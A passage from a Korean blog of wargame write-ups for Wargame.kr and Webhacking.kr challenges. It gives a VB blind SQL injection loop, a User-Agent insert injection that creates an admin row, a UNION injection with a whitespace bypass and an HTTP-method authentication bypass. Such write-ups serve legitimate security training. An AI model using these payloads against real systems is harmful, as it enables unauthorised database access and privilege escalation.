반응형

이 문제는 QR코드를 퍼즐처럼 맞추는 것처럼 보인다.


하지만 소스코드를 보면


$('#join_img').attr('src',unescape('.%2f%69%6d%67%2f%71%72%2e%70%6e%67'));


와 같은 src 값이 보인다.


url decode를 해서 접속하고 QR코드 해석후 인증하면 성공~

'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] login filtering (450p)  (0) 2016.04.27
[Wargame.kr] flee button (450p)  (0) 2016.04.27
[Wargame.kr] already got (200p)  (0) 2016.04.27
[Webhacking.kr]12번 문제  (0) 2014.10.30
[Webhacking.kr]11번 문제  (0) 2014.10.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

문제 제목 그대로 웹사이트 접속할 때 FLAG를 resopne Header에 넣어서 준다.


그 값을 auth하면 성공~

'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] flee button (450p)  (0) 2016.04.27
[Wargame.kr] QR CODE PUZZLE (300p)  (0) 2016.04.27
[Webhacking.kr]12번 문제  (0) 2014.10.30
[Webhacking.kr]11번 문제  (0) 2014.10.30
[Webhacking.kr]10번 문제  (0) 2014.10.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

javascript 문제입니다.

먼저 소스코드를 보면


위와 같습니다. <script>와 eval(wtf) 사이의 값을 크롬에 있는 Console쪽에서 실행시키시면


이런식으로 스크립트가 나옵니다. 이걸 그대로 복사해서 html로 만든다음 

살짝 조작해주시면 값이 나옵니다.

그걸 Auth에 넣어주시면 클리어!

'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] QR CODE PUZZLE (300p)  (0) 2016.04.27
[Wargame.kr] already got (200p)  (0) 2016.04.27
[Webhacking.kr]11번 문제  (0) 2014.10.30
[Webhacking.kr]10번 문제  (0) 2014.10.30
[Webhacking.kr]9번 문제  (0) 2014.10.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

이 문제는 php 정규식(regex) 문제입니다.


문제의 페이지에 들어가시면


$pat="/[1-3][a-f]{5}_.*아이피.*\tp\ta\ts\ts/";

if(preg_match($pat,$_GET[val])) { echo("Password is ????"); }


이런식으로 되어 있을 겁니다.


php 정규식에 따르면


/ 는 정규식의 시작과 끝을 알려줌

[] 는 대괄호 안의 문자나 숫자중 한개를 추출하는 것

{}는 앞의 문자나 숫자가 몇번 반복할지 정해주는 것

* 는 앞의 문자가 한개이상 올 수 있다는 것


라는데요..

뒤에는 \t가 있네요 이건 탭(tab)을 뜻하는 거고, 아스키코드로 9입니다


위에 따라서 하시면 페이로드는 아래와 같습니다.


1aaaaa_아이피%09p%09a%09s%09s


'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] already got (200p)  (0) 2016.04.27
[Webhacking.kr]12번 문제  (0) 2014.10.30
[Webhacking.kr]10번 문제  (0) 2014.10.30
[Webhacking.kr]9번 문제  (0) 2014.10.30
[Webhacking.kr]8번 문제  (0) 2014.10.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

아래 사진은 해당 문제의 웹페이지 화면입니다.



여기서 소스를 보도록 하겠습니다.


<html>
<head>
<title>Challenge 10</title>
</head>
<body>
<hr style=height:100;background:brown;>
<table border=0 width=900 style=background:gray>
<tr><td>
<a style="position:relative;left:0;top:0" onclick="this.style.posLeft+=1;if(this.style.posLeft==800)this.href='?go='+this.style.posLeft" onmouseover=this.innerHTML='yOu' onmouseout=this.innerHTML='O'>O</a><br>
<font style="position:relative;left:800;top:0" color=gold>|<br>|<br>|<br>|<br>buy lotto</font>
</td></tr>
</table>
<hr style=height:100;background:brown;>
</body>
</html>


저 O를 클릭하면 오른쪽으로 1씩 움직이네요 그렇다면

F12을 누르셔서 O의 위치를 799까지 조작하신다음 클릭한번 해주시면 성공!

(크롬은 안되니까 IE를 쓰세요)


'Write up > Wargame' 카테고리의 다른 글

[Webhacking.kr]12번 문제  (0) 2014.10.30
[Webhacking.kr]11번 문제  (0) 2014.10.30
[Webhacking.kr]9번 문제  (0) 2014.10.30
[Webhacking.kr]8번 문제  (0) 2014.10.30
[Webhacking.kr]7번 문제  (0) 2014.10.05
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

9번을 풀기위해 문제를 눌러보니

아래 사진과 같이 인증을 해야하네요.


여기서 먼저 알아둬야하는게 있는데요,

먼저 웹페이지의 전송 방법(method)는 여러개가 있습니다.

가장많이 쓰이는게 GET과 POST죠. 일반적으로는 이렇게만 쓰이지만

다른 메소드로는 HEAD,PUTS,OPTIONS,TRACE 등이 있습니다.


저 인증을 우회하려면 apache의 인증 페이지 설정법에서

메소드를 선택해 그 메소드인 경우에 인증창을 띄우는 방법이 있습니다.

그렇다면 우리가 저 인증 페이지를 우회하기 위해서는 메소드를 get나 post대신 puts나 options등을 헤더로 조작해서 보내버리면 인증이 우회됩니다.


아래의 사진은 인증을 우회한 사진입니다.


저기서 3번링크에 힌트가 있는데요.

length = 11

column = id,no

이렇게 있네요. 그렇다면 딱봐도 sql 인젝션 문제네요.

no은 주소창에 num을 통해서 인젝션되니 blind sql injection으로 문제를 풀어보면 되겠네요.


페이로드는 프로그램화 시켰습니다.

- VB


Dim i, k As Integer


        For i = 1 To 50

            For k = 65 To 122

                winhttp.Open("PUTS", "http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id," & i & ",1)in(0x" & Hex(k) & "),3,4)")

                winhttp.SetRequestHeader("Cookie", "PHPSESSID=jhlj5u0gvbec5lb35ovftoret1")

                winhttp.SetRequestHeader("Content-Type", "text/html")

                winhttp.Send()


                Label1.Text = i & " : " & Chr(k)


                TextBox1.Text = winhttp.ResponseText


                If (InStr(winhttp.ResponseText, "hint")) Then

                    ListBox1.Items.Add(Chr(k))

                    k = 122

                End If

                Application.DoEvents()

            Next k

            Application.DoEvents()

        Next i


아마 답이 대문자로 나올텐데 소문자로 pw란에 입력하시면 클리어!

'Write up > Wargame' 카테고리의 다른 글

[Webhacking.kr]11번 문제  (0) 2014.10.30
[Webhacking.kr]10번 문제  (0) 2014.10.30
[Webhacking.kr]8번 문제  (0) 2014.10.30
[Webhacking.kr]7번 문제  (0) 2014.10.05
[Webhacking.kr]6번 풀이  (0) 2014.10.05
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

헤더 인젝션으로 풀어야하는 8번 문제입니다.


먼저 처음 문제에 들어가시면 



USER-AGENT Access Denied! 라는 문구가 나옵니다.

여기서 USER-AGENT라는것은 웹페이지를 요청할 때 사용하는 헤더 중에 한개입니다.

그렇다면 burp-suite라는 프록시툴로 한번 확인을 해보겠습니다.



이렇게 웹페이지를 요청하면 그에 맞는 헤더를 보내주는 것입니다.

그럼 저 유저 에이전트를 지워버리고 문제의 페이지를 요청하면


done 이라는 말이 나오네요 여기서 소스보기(index.phps)를 해보면


이런 소스가 나오는데요.


쿼리 구문중에서 insert를 사용해 user-agent와 아이피를 넣어주면서 guest라는 레벨을 설정해주네요.

하지만 필터링중에서 싱글쿼터와 주석은 존재하지 않기때문에 insert구문에서 여러개를 db에 넣을 수 있게 됩니다. 즉, 페이로드는 이렇습니다.


User-Agent : nekoplus','123','admin') %23 ','$ip','guest') 


이 헤더를 웹페이지를 요청할 때 user-agent를 조작해서 보내면 nekoplus 의 존재유무를 판단해 없다면 admin레벨로 insert시킵니다. 그렇다면 다시 nekoplus 로 보낸다면 클리어!

'Write up > Wargame' 카테고리의 다른 글

[Webhacking.kr]10번 문제  (0) 2014.10.30
[Webhacking.kr]9번 문제  (0) 2014.10.30
[Webhacking.kr]7번 문제  (0) 2014.10.05
[Webhacking.kr]6번 풀이  (0) 2014.10.05
[Webhacking,kr]5번 풀이  (0) 2014.10.05
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

300점짜리 간단한 SQL Injection문제입니다.



처음 페이지에서 Auth라는 버튼을 눌러보니 Access Denied라는 경고창이 뜨네요.

여기서 소스보기를 해보면

url에 인자값인 admin page는 val가 2라네요.

그래서 val=2를 해보니, Query Error가 뜹니다.그래서 힌트인 소스보기(index.phps)에 들어가보니 val에 2가 없으니 union을 이용해서 인젝션하라네요.


정말 간단합니다.

union을 사용할 떄 앞의 값이 거짓이 되면 앞의 값이 출력 되지 않고 union select 뒤의 값이 출력되기 때문에 거짓으로 만든다음 union select 2%23을 해줍니다.

하지만 스페이스인(%20)이 막혀있기때문에 이를 우회하기 위한 %0A,%0D등을 씁시다.

이렇게 해보면 nice try가 나올텐데, 괄호갯수를 3개정도로 고정시켜놓고 새로고침해주면 

성공입니다!

'Write up > Wargame' 카테고리의 다른 글

[Webhacking.kr]9번 문제  (0) 2014.10.30
[Webhacking.kr]8번 문제  (0) 2014.10.30
[Webhacking.kr]6번 풀이  (0) 2014.10.05
[Webhacking,kr]5번 풀이  (0) 2014.10.05
[Webhacking.kr]4번 풀이  (0) 2014.10.04
블로그 이미지

KuroNeko_

KuroNeko

,